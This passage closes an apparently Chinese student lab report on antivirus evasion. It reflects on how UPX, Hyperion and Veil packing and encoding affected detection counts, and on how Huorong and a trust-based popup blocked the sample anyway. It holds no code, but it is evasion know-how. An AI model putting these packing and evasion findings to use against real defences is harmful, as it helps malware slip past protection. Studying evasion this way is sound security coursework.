加壳的结果也超出了预期。原以为多加一层总比不加好,实测却是 UPX 完全没影响、Hyperion 让检出从 6 涨到 20。直到看到 ClamAV 报出 Win.Packer.Hyperion-1 才明白,壳本身就是强特征————它把"一个不认识的自编译程序"变成了"一个认识的可疑加壳程序"。组合技那一组更直接:编码、加壳一层层叠上去,检出反而一路回升,最后最低的竟是最朴素、什么壳都不加的那个。

Veil 那一节让我推翻了自己的一个判断。第一轮部署失败后,我写下“这个工具的依赖链已经与发行版脱节”,理由是 apt 找不到包、setup.sh 里四个下载地址全部失效。后来把软件源修好再查,veil 3.1.14 就躺在清华源里,一条 apt install 装完,连配置文件都是安装脚本自动写好的。真正坏掉的是我这台机器的包管理环境,不是那个工具。这个区别很大:前者意味着放弃,后者只需要改一条命令。差一点就把一个环境问题当成时代问题写进了报告。

最后在靶机上的结果,说实话有些挫败。样本在 VirScan 上只有 6/48,火绒连家族都认不出来,但下载被拦、双击被拦、放行之后一跑又被删。真正让我停下来想的是那个"已保护你的电脑"的弹窗————它根本不判断你是不是病毒,它只是不认识你。那一刻我才理解,杀软的重心已经从"识别恶意"转向"评估信任",而在这个维度上,编码、加壳、换加载器这些技术手段几乎没有空间。

这次实验我虽然没有实现免杀,也没能做出"与杀软共生"的结果,会话是靠人工加信任区跑起来的。但把四层拦截一层层拆开之后,我至少知道了每一层拦的是什么、为什么拦,以及自己做的每一步到底改变了哪一层。

六、参考资料

[1] 《免杀原理与实践》